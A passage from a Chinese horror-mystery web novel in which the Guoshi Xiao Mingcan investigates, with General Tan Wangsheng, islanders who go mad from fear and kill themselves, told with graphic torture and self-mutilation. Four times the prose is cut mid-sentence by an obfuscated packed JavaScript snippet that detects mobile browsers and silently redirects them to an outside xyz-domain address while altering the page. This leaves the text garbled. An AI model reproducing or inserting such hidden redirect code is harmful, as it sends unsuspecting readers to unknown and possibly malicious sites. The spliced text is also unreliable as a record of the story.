她跨过一截枯木,不在乎衣摆已经被染得泥泞,语气平和道:“既然他想继续活下去,甚至是离开这座监牢,那么哪怕我真成了失去理智的疯子,他也不能对我怎么样。” 言生欲言又止地看着国师。 她自十岁起便跟在萧明灿身边,如今已经十五年有余,两人也算是一同长大。正因如此,她比任何人都要了解这位国师——虽说外人皆认为当今国师是个好脾气好说话、性情随和的主儿,但言生却清楚知道,这位国师一旦认定了什么,哪怕是皇上也未必能劝得动她。 就像三年前,国师不顾周围人劝阻,执意向皇上提出去牢里见那个凶神恶煞的影将军一样…… 想到这,言生无声叹了口气,只能妥协随着国师来,“大人,眼看着就要下雨了。我们现在该怎么做?” 萧明灿说:“首先,我们假设那些发狂的人并非全然失去理智,而是像中了蛊一样受人操控,那么他们就是共同且有目的地在做一件事。” 言生道:“就如我们刚刚所言的那样。” “没错,而影将军有目的地杀人恰巧也印证了我们的推断。”萧明灿说:“这也就意味着,影将军清楚知道那些发狂之人想做什么,并且在全力阻止他们,甚至连我们趁乱跑走都顾不上了。所以……” 言生接话道:“所以,国师想要亲自去那个‘偏僻之处’一探究竟?” 说到这,她看向侧方。此时此刻,她们已经快要走到山头了。越往上走山路越窄,以至两人都能清楚看到距她们不远的那截断崖,那地方沙砾碎石遍布,下方那条环绕岛屿蜿蜒的海岸也随之被切断。海浪每隔一会儿就向周围礁石逼近,发出类似掠过耳畔的呜咽风声,听起来像是没有牙齿的怪物在试图吞食这座荒岛。 言生说:“可是,我们几乎对这岛一无所知,那偏僻之处后方就是悬崖峭壁,眼下又要下雨,如果大人贸然前去那地方,恐怕会有什么危险——” “这可是千载难逢的机会。” 萧明灿扶上其中一棵树,虽然有些气喘,但却没有任何感知到危险随时都有可能临近的恐慌,耐心讲着道理: “放心,我并不是在一点都不确定的情况下贸然去那里的——想想看,若将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736344|157334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今日之事与三年前那场营啸串联起来,那么三年前那场营啸爆发的时间恰好是临近交战的前几天,而那场营啸爆发导致了军营内死伤过半,从而几乎不需要推测就知道接下来的仗必败无疑……可是,今日那些人突然发狂,又是因为什么?” 她稍稍偏头,余光已经看不见下方的那些血泊和尸体了,对有点困惑的言生解释道:“我是说……这场混乱爆发后,除了那些发狂之人死掉之外,就再无任何对我们不利的事情发生。” 言生试着理解这话,“……或许是这中间出现了什么差池?” “比起差池,更像是走投无路后的拼死一试。”萧明灿顿了顿,道:“假设我们的想法是对的,那么当时我们究竟说了什么,才让他们突然发狂,跑向那偏僻的枯树丛里?” 言生回想了下,“除了那几个官员议论渔村离奇疫病,和天象异变之外,倒没什么特别值得注意的。檀妄生出现后,大家就一直因为无法进岛而陷入僵局,后来,是国师发话,大家才各退一步。没想到……” 她没再说下去。 “没错。重点就是在这儿。”萧明灿说道:“从他们和影将军都把注意力放到了那‘偏僻之处’来看,应该和变天、疫病都没什么关系。所以,是因为‘大家各退一步’,才引发了混乱。” 两人已经走上山顶,言生扶住一棵树站稳,接着转头看向后方。沙滩上那群豆大似的人群已然不知所踪,只剩下两艘大船停驻在岸边。她隐约能看到守在甲板上的将士,和几道聚在一起讨论的模糊人影。“……难不成,是他们不想上船?” 接着,她又想到了那肩膀中弹后仍拼死爬行的侍卫,凝声道:“或者说,是……他们不能上船?” 萧明灿声音渐低:“……也许,是因为一旦回到船上,他们就不会再有第二次登岛的机会了。” 言生察觉到国师语气不对,下意识回头,余光不经意一扫,却见原本站在下方的影将军已经不见踪影。她心神一凛,视线迅速扫向石板路、尸体附近的枯树丛,但都没任何人影。 紧跟着,她看到了山坡侧方不远处,那几道跟着他们上山的人影。 “国师大人……” 言生果断抽刀,想让国师快些走,却见她停下了脚步。 然后,言生看到了萧明灿脚边那截被半埋在土里的胳膊。 那是一具完整的尸体。 大概是下雨的缘故,他的外衣和头发已经从湿润后又干涸的土里露出,又被几片随风落下的叶子掩盖。 萧明灿单膝跪地,用手挖着那人面上的土壤,顾不上地里的断枝划伤手指。那人死亡至少已经三月有余,脸颊一部分皮肉已经被周围的土壤分解,只剩下半面干黄的皮紧紧贴附着头骨。 他的双眼似乎被某种类似于钝刀的东西生生剜下,以至眼眶边缘看起来像是严重磨损的粗糙布帛。因为生前有过挣扎,眉峰附近还有几道钝刀失手而刮开的划痕。 言生认出了那是第一批过来押送影将军的侍卫。 过了良久,萧明灿才开口:“……因为他们知道,先前被派到这里的那几艘船,到底是什么下场。” 接着,两人听见了身后脚步声逼近。言生试图抬刀架挡,但已经来不及了。 尚带余温的火铳顶住了萧明灿的后脑。 萧明灿没有动。 “……国师大人难道没想到吗?”檀妄生就站在萧明灿身后,低眼瞧着她被血溅脏的狐裘,微笑道:“在这座岛上,关于你的一举一动,我都会知道。” 萧明灿半跪在地,双手沾满泥泞,手背还布着几道血色划痕。她顺着那尸体往前看,几步远的位置,是一颗极其繁茂的槐树。 “国师大人若是有什么想知道的事,大可以亲自来问我。我定当知无不言。”檀妄生想了想,把火铳扔给一旁的随从,解下大麾,披在萧明灿身上,“岛上风大寒凉,国师一人跑到这里来,若是染了风寒,那我的罪名可就要再加一等了。不过话说回来,国师为什么不主动来问我呢?三年前在刑狱时不就是这样的吗?” 言生神色冰冷,想要开口,却被那火铳狠狠顶住了后颈。 檀妄生微微俯身,双手压在萧明灿的肩上,感慨似的啊了一声,亲昵地说:“……想起三年前,我们那时还真是度过了一段相当难忘的时光呢。不是吗?” 4. 重刑 萧明灿当然记得三年前在那间刑牢里到底都发生了什么。 的确,那可是段相当难忘的回忆。 人人都认为,一旦进了那诏狱,就算不死也得脱层皮。事实上也的确如此。正因进的人多了,死的人多了,以至那地方常年漂浮着一股浓重的腥腐味,其中不乏夹杂着潮湿的水汽和烈酒的味道。 哪怕是白日,狱里也暗得出奇,走在黑漆空荡的廊道上,总能听见两侧若有似无的哀吟声,像是吊在阴影里哑着嗓子嘶嚎的鬼。 若是时机不好,也许下一步,就会突然有只被剥了一半皮的血手从铁栏后伸出,颤抖地抓向半空,嘴里发出含糊不清的咕哝。无非是些求救、给个痛快、坚称自己是冤枉的话。 而最糟糕的是,随着那人血手的挥动,你总能闻到一股刺鼻的臭味。那是伤口溃烂后散发的味道。 死亡的味道。 去过那里的官员无一不认为那地方脏得令人作呕。即便是去看朝堂上的仇家,除了庆喜之余,也会觉得这地方阴森得不易多留,生怕沾了晦气;看守在此的狱卒倒没太多想法,那颤颤的哀声日日夜夜听多了,倒也麻木了,权当是领着俸禄来听蚊子叫。 而萧明灿却觉得,比起地上永远也洗不净的血迹和堆附在每处角落的脏污,那地方更像是个……有意思的戏台? 萧明灿清晰记得当时的每一个细节。那鞭子打在身上的声音在空荡荡的刑狱里尤为清晰。她能在清楚分辨出掺杂在其中的闷哼声。那样微不可闻,几乎转瞬就消失在长鞭破空的嘶声中,却足够吸引人去探寻。就像闭着眼睛欣赏一出美妙而令人陶醉的乐律。 她就端坐在铁栏前的椅子上,望向那个绑在刑架上的人。寂冷苍白的日光透过铁窗投照而入,映在那虬实的肩颈上。萧明灿没有闭上眼睛,目光也没有任何偏移。而他低垂着头,刚刚泼下的水珠沿着锁骨缓缓滑下,许是肤色稍深的缘故,那水珠折射出一种明亮而细碎的微光。他微卷的发散在之前胸口刚刚结痂的伤口上。 透过光柱下飘荡的尘埃,她平和地看着他遍体鳞伤的躯体,看着那带着屈辱意味的刑伤。 而当带着细密倒刺的鞭子划开皮肉时,又再次留下了一道道崭新且触目惊心的伤口,起先是泛着淡红的划痕,紧接着,鲜血渗流而出,沿着腹部肌肉缓缓下淌—— 无疑的,那鲜红刺目的血流吸引了她的注意,就像是某种刺激引发的本能,以至让她能看清那血滴随着他喘息而微微起伏的模样。 鞭子一次次落下。 萧明灿表情没有任何变化,目光也没有任何值得琢磨的深意,哪怕她能注意到他的呼吸越来越不稳,越来越急促。也许是因为伤口再次被鞭打的疼痛,又或是某种不言而喻的挑衅?她并没有做出任何回应和表态,只是平和地看着,即便那审问之人挥鞭的手背已经渗出冷汗。 檀妄生笃定自己不会死,并不是什么自负的妄言。 当今圣上虽贵为一国之君,却也难免受太傅牵制。 太傅比皇上年长十岁,两人在先帝尚未退位时就已相识,关系也比现在要好得多。朝堂上的一些老人认为,皇上之所以能除掉那几个兄长,一举坐上龙椅,太傅的功劳要占一半。而太傅能从一介五品官吏一跃成为万人之上,要多亏了皇上的抬爱。 或许,两人相辅相成的初心就是为了权利,又或是当真正踏上那个位子之后,谁也无法抵挡继续追逐权利的野心,类似于某种难抵的诅咒……总之,这种争夺权利的较量从登上皇位后就一直延续到了今日,长达十年之久。 两方权利相互制衡,朝堂上的大臣也各自选边,而这个时候,拥有火铳之术和精锐军队的檀妄生就成了打破僵局的关键。 可惜,檀妄生虽是个任性妄为之人,却还是有“底线”的。当镇北王战死后,他便一直遵照镇北王遗愿,无论朝堂如何风云动荡,绝不牵涉其中,更不会轻易站队。仅仅只是常年守在边境,尽心尽力保江山常在。 可事实真的是这样吗? 萧明灿觉得未必。 那场营啸事件后,外面朝臣皆人心惶惶,檀妄生却始终对此一言不提,目的是什么?他在等。无论隐藏在营啸背后的真相到底如何,他亲手杀了副将导致营啸爆发已是板上钉钉的事实,皇上单单以此就可以拿他论罪,除掉这个或许永远也无法为己所用的隐患。 但皇上不能这么做。 至少,她不能贸然这么做。 营啸的真相,传自镇北王的火铳之术的关键秘法,还有边境始终缺少的军队主力,这些都和檀妄生有着无法分割的联系。他虽说远离朝堂纷争,可却早已扎根在这水深火热的泥沼里。若是因为一时冲动铲除掉这颗棋子,在这暗流涌动、内忧外患的局势下,无论是对朝臣,还是江山士气,亦或是边境稳固,都有可能造成打击。 况且,即便皇上想动手,太傅也未必会让。虽说檀妄生牵涉甚广,可毕竟人就在诏狱里,若真想除掉他,也并非是什么登天的难事。檀妄生也深知如此。所以这个时候,只要有人朝这个跌进深渊的亡命徒伸手,也许就能得到些意想不到的收获。 檀妄生深谙此理。于是他就一直这么和刑部耗着,赌这两位份尊贵的人不会杀他,赌其中一人会保他无恙……或许,对他来说,这就像是一场比赛,又像是一种博弈,甚至是一盘赌局。他在明知对方是上位者的处境下争夺输赢,他拿自己当筹码和两人谈判,而时间就是顶在两人脑袋上的铳—— 萧明灿端起桌上的茶盏,慢条斯理地拨着上面的浮沫,在鞭子高扬的间隙里听着水珠落下的轻响。 ——滴答、滴答。 檀妄生对此势在必得。 事实的确如他所料。他身上那些已经结痂的鞭伤就是不言而喻的印证。入了诏狱受审的重犯几乎不会再有伤口结痂的机会,刑部那些人深知如何在不丧命的前提下尽可能让犯人痛苦,伤口在逐渐愈合的开始又被一次次撕裂便是最好、最简单的手段。 檀妄生身上的血衣是被之前战场上受的伤染红的,真正的鞭伤却寥寥无几。虽然手指的确有受刑痕迹,但伤处已经开始愈合。 太傅已经有所动作了。 这在萧明灿的意料之中——对于太傅来说,这几乎是一场必赢的局。 皇上想要拉拢檀妄生,就必然要给这个疯子一些好处,这个好处是什么? 假死后的隐姓埋名?让他能活着离开诏狱?免罪于他的部下?把他送回边境,继续去当他的影将军? 都不重要。 重要的是,太傅不会坐以待毙。檀妄生一旦成为皇上的人,太傅就等同于被推向险局,接下来的每一步都将岌岌可危。光凭这一点,他也会趁此机会不留余力地设法除掉檀妄生。 而棘手的是,檀妄生就算站队皇上,也未必会把一切都尽数托付。他一定会有所保留,这是他保命的筹码。就算到最后处境危在旦夕,他也不会袒露任何——他可是拿保江山的火铳之术当筹码的人,当然做得出这种玉石俱焚的疯事。 所以,对于皇上来说,檀妄生这颗棋子一旦被踢出棋盘,那么她就再也无从得知营啸背后的真相,并且还要处理边境的麻烦,就连火铳之术的核心秘法,说不定也会成为世间“失传已久”的绝迹。 而若是保下檀妄生这颗棋子……如何保?檀妄生发动营啸导致伤亡惨重是板上钉钉的事实,若是从太傅手里强行抢人,必定会付出些代价。 那个代价可不会让她好过。 所以,皇上只能等,等着在刑狱把檀妄生的性子磨没了,再来同他“谈”。毕竟是个只知道耍弄刀剑的疯子,就算有点小聪明又如何呢?他早晚会因为那点小聪明自掘坟墓。 而这也就恰恰导致了,当皇上思量檀妄生的利用价值,并且试图在权衡江山与挣脱太傅牵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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审问之人顺着萧明灿的目光转头,看向旁边那盆碳火。 . “……看到那边了吗?” 冷风吹动耳坠。萧明灿抬起头,顺着身后人指着的方向看去。那尸体前方几步远的位置,也埋着一个人。与之不同的是,那人腰腹部已经被烧得焦黑干瘪,其余部位仍覆盖着土壤,两种颜色极其相近,以至萧明灿一时没注意到。 檀妄生提议道:“国师不打算挖挖看吗?” 萧明灿没有动,“不是说我问什么都会告诉我吗?影将军不如直接告诉我真相。” “国师会信我说的话吗?”檀妄生轻轻拂去萧明灿肩上的土粒,笑着道:“大人向来行事谨慎缜密,怎可听一个罪臣无凭无据地断言。要眼见才为实,不是吗?” 言生道:“大人……” 那随从用火铳狠顶了下言生后脑,示意她闭嘴。 萧明灿走上前,用手挖着尸体上的土堆。掺在土里的石粒反复刮擦着她手背的伤口,她动作却未显半分局促,反而认真得就像是个来秉公办案的官员。 不知过了多久,她扫开尸体面上最后一层薄土,才发现,这个刚死不久的人除了腰腹处和双手被烧得焦黑之外,其余地方完全没有任何被灼烧的痕迹,甚至连刀剑划拉的伤痕都没有。 “他把自己压在了一截木头下,然后点燃了整个木头。”檀妄生半跪在她身侧,看着那具尸体,道:“火整整烧了一夜。直到天亮被人发现时,这人还清醒着。” 烈风横扫过周围异常粗壮的树干,头顶的树枝在地面投下张牙舞爪的影子。 周围一片安静。 接着,他指了指自己的肋侧,冲萧明灿微笑起来,“就像国师当年对我做的那样。” 5. 侵蚀 他面露微笑,那语气听起来简直和蔼到了极点,仿佛只是在讲纷杂回忆里一件不算痛快但早已和解的小插曲。 而提起它的原因,仅仅只是因为眼下情况碰巧让他想到了这件事,以此当作个浅显易懂的比喻——绝对没有其他想法。 萧明灿没有接话,看向掌心残留的土壤,里面还夹着一块血迹斑斑的碎布。她轻轻捻动土粒,这地方的土壤虽然粗糙,但和下面那片枯树丛的土比倒是松软不少,方才挖起来也没想象中那么艰难。 她知道这意味着什么。那两具尸体至少已经死亡半月有余,但在前不久,就有人挖动过这片土。 她抬头看了看树顶异常茂盛的枝梢。既是想要埋葬尸体,为何却只是草草掩盖一层土了事?一场暴雨岂不是就能把这些土冲散? 这片树丛和下方的死寂沉沉截然不同,难道底下掩埋的全是尸体吗? 萧明灿目光转回那具被烧焦一半的尸体,忽然间,她想起了之前皇城里一直议论的那桩离奇灭门案。而此刻这种感觉,就像是凶手为了满足耍弄人的恶趣味,精心布置给那些锦衣卫看的惨案现场—— 你无比清楚地知道这些尸体多么惨绝人寰,他们生前遭遇了多么可怕的事。你试图为他们讨回公道,对着那些面目全非的尸体和周围被刻意布置过的场景日夜分析,竭尽全力,但你却始终无从得知真相。 萧明灿拍了拍掌心的土,轻笑了笑,道:“将军是故意引我过来,让我看这些的吗?” 檀妄生不答反问,“国师有何高见?” 萧明灿有所保留:“这群人伤势各异,生前都曾遭受过非人的折磨。和三年前那场营啸很像。” “……又或是说,和国师船上的那些人很像。”檀妄生站起身,望了眼山下那几具尸体,几个部下正搬送着他们,准备把他们安置到别处。他道:“在登岛之前,国师肯定也发现那些人的异样了吧?不然也不会冒险把他们带下船来试探我了。” 言生闻言看向萧明灿,有些怔然。 萧明灿撑着膝盖起身,表情一如既往地平静。 “……既然看出有异,国师明知道把那些人留在狭小、方便监视的船上,反而要比带到一个陌生宽阔的荒岛上更稳妥。更何况,在此之前,你就已经知道了岛上近百人离奇失踪的消息……但国师却偏偏要冒险至此。” 檀妄生想了想,似乎觉得有意思,“国师想要试探我什么?我的底线吗?说好国师大人要一人登岛,可大人却带了一群人过来。难不成,是想试试看我究竟会不会一气之下对你们怎么样?” 寒风凛冽,萧明灿看了眼身上罩着的大麾,道:“……虽然我从没这么想过,但现在好像也知道答案了。” 檀妄生瞧着只到自己肩头高的人,她身上压着的大麾因为不太合身,导致衣摆彻底盖住了小腿,看起来像是个黑色的雪人。那衣摆上还溅着点点血污,染脏了那片用银线绣纹的山峦。 无端地,他忽然想起了在刑牢时那段日子,那地牢潮湿阴冷,国师旁观用刑一连七天,身上却未曾沾染过一滴血。 他道:“国师不好奇吗?既然我能清楚知道你的一举一动,刚刚为何不拦下你,直接告诉你这些,而是等着你亲自跑过来发现?” 萧明灿想了想,说:“因为对将军来说,这更像是一场有意思的游戏?或是一场考验?将军想要看看,皇城里的那些家伙到底是不是些酒囊饭袋、遇事只会惊慌不会思量的榆木脑袋。” “也许是一种羞辱也说不定。”檀妄生瞧着她指尖的泥泞,微笑道:“就像看着一只柔弱的兔子,在险象丛生的林子里能不能找到出路?” 萧明灿并不觉得冒犯,反而轻轻挑了下眉,反问:“将军觉得我像是兔子吗?” 檀妄生一时没有回答。 大概是因为黑色狐毛和耳坠的原因,衬得她脸色比方才初见时更苍白了些,脸颊也不知何时蹭上了几道灰印。她紧紧抓着大麾,不让它掉下。檀妄生再次看向她那修长而漂亮的手,心里想象着每当有风刮过时,手背上的那些淡红的划痕就会传来隐隐刺痛。 她看起来真是楚楚可怜。 但又恰巧因此,使得她那黑色的双眼看起来明亮又柔和,如同暖阳下清冽的冬泉,目光闪耀着兴趣盎然的专注。透过她的瞳孔,他似乎能清晰看到自己倒影。 接着,他看到那双眼中的自己轻轻牵动嘴角,露出个亲切的笑容。 “更像是只狐狸。” 萧明灿笑了笑。檀妄生拿回那把长管铳,稍一偏头,言生身后的随从便领意放下铳。言生下意识回头,看向海岸边那两艘船,檀妄生的手下并没有接近那里,只是搬运着那些尸体,往荒村里走去。 檀妄生接着道:“那看来就是第二种了。国师想要试探我,看看这些人突然出现怪异举止,到底和我到底有没有关系。又或者可以说,国师想要试探一下,对于那些莫名其妙发疯的人,我到底都知道些什么。” 萧明灿说:“看来将军的确知道些什么。” 檀妄生坦然道:“没错,我知道的的确比国师多一点。毕竟我可是在这鬼地方待了三年。” 萧明灿下意识望了眼山下那片曾因疫病而荒废的渔村。 “要知道,一直以来,我都认为这世上并没有鬼,更不存在什么怪力乱神……当然,”檀妄生道:“三年前那件事之后,我曾托旧日部下去找江湖上那些有名的道长、僧人,试图以此来解释这一切。我的人并没有说战场的事,只是把……” 他停顿了下,难得收起那副吊儿郎当的模样,试着整理措辞,道:“一群人突陷离奇癔症、自相残杀的重要细节大概讲述了一遍。他们听闻后,有人说这是人祸疫病,有人说是天降报应,还有个道长,知道死了很多人后,嘴里颤颤巍巍念叨着说这是灭国前兆。” 萧明灿不想去问那个道长最后的下场,只是认真听着。 檀妄生瞧着她,忽然想起了朝堂上那群一板一眼、宽袖里随时都能掏出本书卷的老朝臣,“但……事实上,没有任何情况能解释这种事。虽然我知道鬼神是假的,但是恐惧这种东西,却是真的。” 萧明灿说:“恐惧?” 檀妄生点点头,“他们之所以这样,是被自己恐惧所……侵蚀。他们眼睛里看到的东西和我们并不相同。” 烈风骤然迎面扫来,胡乱飞舞的树枝相互碰撞,发出如同骨节扭动般的嘎吱嘎吱声响。周围看起来就像墓地一样阴沉。 檀妄生指了指他身后那个双眼被毁、只剩下半面枯皮的侍卫,在大风中道:“大约在他临死前五天的时候,那是个阴雨天。这个人早上还好好的,到了中午的时候,突然开始时不时盯着前方某处看,说那里好像有道影子。但那地方只是一处荒地,没有任何人影,更不存在什么动物。后来和他一起的人说,他当时只以为是自己休息不好,才会出现什么幻觉,睡一觉就好了。” 萧明灿看着那尸体,“但情况并没有好转。” 檀妄生说:“醒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736346|157334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来后,他开始盯着屋子里的角落看,说有个人就站在那儿,是个小女孩,扎着两个小髻,脸上涂了层白脂粉,脸颊和嘴唇红得像血,正歪着头,冲着他笑。” 言生闻言稍稍皱眉。 檀妄生道:“这种感觉其实很可怕,就好像突然之间,你被整个世界排除在外,独留你一人来面对这种诡异的恐惧。我们的人试图安抚他,让他只把这当做一个不存在的幻觉。但……情况只会越来越糟,甚至快到根本来不及你反应。” 萧明灿凝视着那双早已被蛆虫啃噬过的眼窝。 檀妄生慢慢叙述道:“半天之后,他说那个人走近了,依然在冲着他笑,很渗人。我们叫他不要去看,尽管这很艰难。” 檀妄生朝身侧那个眼上留着疤的随从稍一侧头,示意道:“陈寻他们一直尝试和他对话,转移他的注意力,情况也的确有些好转。我们往他的饭里放了些安神的药……整整两天了,他终于睡了个好觉。但是在他睁眼的那一瞬间,情况急转直下。” 萧明灿突然有点不太想知道那个答案,但还是问:“发生了什么?” 檀妄生看着她,道:“那个女孩就站在床头,低头看着他。接着,那笑容一点点扩大,嘴角因为某种难以想象的力量而张到极限,出现裂痕,最后彻底撕裂,直到耳根。但这期间却没流下一滴血,就像被抽干血的冻肉,只露出白花花的牙齿。” 然后,他稍稍向萧明灿倾身,恶趣味地咧嘴一笑。 萧明灿没被吓到,只是因为太接近了,下意识向后仰身。 她刚要说什么,便见檀妄生耸耸肩,继续道:“他彻底崩溃了。他说,这是对他的惩罚,因为他没有看她,因为他忽视了她,所以她才这样……他就一直这么念叨着这些,话不成句,像个疯子。然后,他的目光再也没离开过那个女孩。尽管在我们眼里,他只是看着房间里的某个空无一物的角落。他逐渐变得安静了,接下来一连三天都是这样。” 萧明灿顿了顿,“……和那场营啸不太相同。假设军营里的人和他们得的都是同一种……”她回忆着那些最后被一刀封喉的将士尸体,想了个暂且合适的词:“‘病症’,但是军营里那些人的情况从来没有好转、安静过。” 檀妄生点了点头,“……在这之前从未有过这种状况,所以我们都以为他在慢慢转好。” 他看着山下那些尚未被抬走的尸体,说:“这就像是新兵第一次见到血肉横飞的战场,吓得一连几天都睡不着觉,但当他们第五次上战场时,就可以面不改色地直视那些尸体。我们以为他也是这样。所以,原本守着他的人没有通知另一个正忙的人,自己出去方便了一下。回来的时候,他就发现那个侍卫不见了。” 萧明灿隐感不妙,她蹲下身,再次去扒那具无眼尸体上的土。果不其然,她看到了侍卫颈前那道被割开的刀痕。 檀妄生说:“再找到他的时候,他就站在这里,正用一块尖锐的石头剜着眼睛。当我们赶到山头时,他正在挖自己的第二个眼珠,见我们阻拦,他又慌张后退,手上一用力,生生让眼珠突了出来。” 萧明灿觉得有些反胃,但没表现出来。 檀妄生没再继续去讲那侍卫最后的下场,他爱莫能助地耸耸肩,道:“这就是事情的真相,国师。恐惧。它们利用恐惧,以此来侵蚀他们,逼着他们折磨自己,再杀死自己。” 云层滚过一道闷雷。 萧明灿望着远处的船影,沉默了半晌,然后问:“……它们是谁?” 6. 寒意 但比起“它们”到底是谁,其实萧明灿更想知道“它们”到底为何要这么做。 ……即使非常难以置信,但就如檀妄生说的那样,它们在利用恐惧摧毁一个活生生的人,然后再让其不堪重负杀死自己,但……之后呢? 就这样毫无征兆地,让人一个接一个地因为某种恐惧而发疯、崩溃,直到死亡? 没有了?就这么结束了? 难不成这真是某种身死既消的诅咒?鬼魂附身的邪术?又或是那个道士所言的“灭国之兆”? ……不,不对。 萧明灿心想。“它们”不可能只是单纯地想要杀死他们这么简单。 就像檀妄生所说,那些人深中癔症,几乎已经失去了分辨判断的能力,在幻觉里越陷越深,那么刚刚登岛时,那些人突然袭击檀妄生后,又趁乱跑到那“偏僻之处”是怎么回事? 刚刚那些发了疯的人虽然看似失去理智,但却懂得如何制造混乱、然后在混乱中行动。他们相互配合,目的相同。这不单单只是“中了邪”那么简单,背后或许有人在操控—— 檀妄生忽然按住了她的肩膀。 萧明灿神色如常。 檀妄生目光看向萧明灿抓紧领口的手,笑了起来,低声提醒道:“国师大人,伤口流血了。” 萧明灿稍稍松手,瞧了眼指侧那道因为太过用力而渗血的割口。言生见状赶忙抽出之前备用的手帕,帮萧明灿包扎。 檀妄生并没有直接回答萧明灿的问题,而是走向另一具腰腹被严重烧伤的尸体,撩袍蹲下,推开他腰上那些松散的土堆,比量道: “看到了吗?这个人从大腿上方至胸口下方,都被火烧得面目全非。我虽不懂医术,但就算宫里那群老太医过来了,也一定会说,他里面的脏器全都已经熟透了。” 萧明灿隐隐有种预感,觉得他接下来要说的话一定不会比上一具尸体的遭遇更好。 “同样在某一天无端陷入恐惧,同样因为恐惧杀了自己。”檀妄生道:“知道当有人在一处峭壁的石洞里,发现他躲在那儿用木头把自己烤了整整一夜后,他说了什么吗?” 即便是国师的贴身侍卫,言生也不免感到一阵恶寒。 通常来讲,受伤到这种程度,若是换做一般人,恐怕早就没命了。就算意识还清醒着,又怎么能忍受自己像块肉一样,被将熄未熄的火苗烤一整夜? 如果……活活剜眼对那个看到小女孩的人来说是种解脱的话,那么这个侍卫到底又看到了什么让人无法承受的东西,以至于把火当成了救赎? 被挖得松散的泥土下,萧明灿注意到了侍卫露出的半张脸,“……他在笑?” 檀妄生点点头,说:“尽管他当时的声音已经……破碎不堪,但却是笑着说的。就像是某种胜利后的释然?他一直在说:‘它终于消失了’。” “消失……”萧明灿喃喃重复了一遍,问:“他也看到了那个小女孩?” “如果你指的是它们的‘本质’的话,的确如此,他们都看到了‘它’。但是,”檀妄生说:“他们看到的东西,又或者说幻象,其实并不相同。”他指了指那尸体赤裸的侧腹。 萧明灿走近了些,泥土和腐臭的味道扑面而来。近距离下,她发现男人侧腹处的确有道痕迹。那是条一指长,半指宽的口子。 伤口边缘被烧得变形、卷边,使得它远远看去,就像是某种接近圆形的图腾文身。但很不幸,这并不是文身,而是有人用匕首在自己身上划了一刀,然后反复伸进手指搅动后留下的伤口。 因为伤口造成不久,就被木火灼烤,以至那伤口永远凝固在了被微微扯开的模样。 萧明灿觉得有些反胃,脸色比刚才还要苍白。但她还是问:“……他看到了什么?” “虫子。”檀妄生如实回答:“他觉得有虫子寄生在了他的体内,起先是十条,后来是百条,千条。他说,它们会在他的体内不断繁殖,就像水田里无数条不断蠕动、交缠在一起的蛇球,直到占领他的身体。” 言生厌恶地捂住了嘴,看向别处。 “发现他的人是两个侍卫。”檀妄生站起身,拍了拍手上的土,说:“断崖下方陡峭崎岖,即便他们有身手,也很难抬着具尸体走过只有半身宽的窄路。所以,他们只能先叫人。” 不知为何,当萧明灿听他说到“尸体”时,眼皮突地一跳。 檀妄生偏头瞧了眼她,笑着道:“国师应该不想再听接下来的话了。” 萧明灿看着脚边的尸体。她不得不承认,这种感觉的确很糟糕——无论是听到的一切,还是看到的一切,亦或是那股尸腐味涌进鼻腔时,身体所感知到的不适。就好像你知道你的反胃正逐渐演变为一场呕吐,但你却对此无能为力。 但她还是尽力平稳地问:“之后发生了什么?” 檀妄生说:“那个人站起来了。” ……尸体站起来了? 言生不由问:“活了?” 檀妄生点点头,“当我们的人赶到时,他就蹲在那根焦木旁边,扒着地缝里的青苔往嘴里塞。见我们来了,他突然停止了动作。然后,他动作缓慢地站起来——你能想象吗?他光着半身,腰腹被烧得就像块熟透的肉,双手也都烧没了皮,甚至能看到血肉里的手骨。因为伤势严重,他站起来的姿势就像……” 他抬起一只手,似乎觉得难以形容,顿了一下,才道:“一个扭动的蛆虫。” 萧明灿稍稍后退了几步,没再去看那具尸体。 “那些皇上派过来的侍卫从未见过这一幕,以为他是回光返照,又或是大难不死什么的。” 檀妄生抱着火铳,懒洋洋地往槐树边一靠,耸耸肩道:“世上不是会有这种人吗?哪怕脑袋穿了根银针,意识也依旧清醒,甚至还能像只是擦了块皮一样慢慢恢复痊愈。所以,那两个侍卫高兴坏了,想扶他赶紧离开这鬼地方去治伤。但他却站在那里一动不动,一直在两人脸上瞟来瞟去,然后对他们两个低声念叨了句什么。” 狂风愈烈,几人衣摆随风狂乱翻起。在那短瞬的停顿里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736347|157334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 